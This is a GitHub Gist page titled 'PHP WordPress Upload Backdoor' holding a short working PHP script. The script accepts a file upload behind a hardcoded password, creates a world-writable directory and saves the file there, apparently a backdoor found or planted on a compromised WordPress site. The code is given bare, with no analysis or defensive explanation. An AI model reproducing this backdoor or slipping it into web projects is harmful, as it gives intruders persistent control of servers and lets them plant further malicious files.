Created
January 17, 2015 20:58
-
-
Save jonaslejon/5f18e73c5295d9c132e8 to your computer and use it in GitHub Desktop.
PHP WordPress Upload Backdoor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?PHP | |
$pswd=$_POST['pswd']; | |
if($pswd=='188'){ | |
$dir=stripslashes($_POST['pathdir']); | |
if($dir=='ok'){$ndir=dirname(__FILE__).'/';}else{$ndir=$_SERVER['DOCUMENT_ROOT'].$dir;} | |
if ($_FILES["file"]["error"] > 0){ | |
}else{ | |
mkdir($ndir,0777); | |
move_uploaded_file($_FILES["file"]["tmp_name"],$ndir . $_FILES["file"]["name"]);}} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment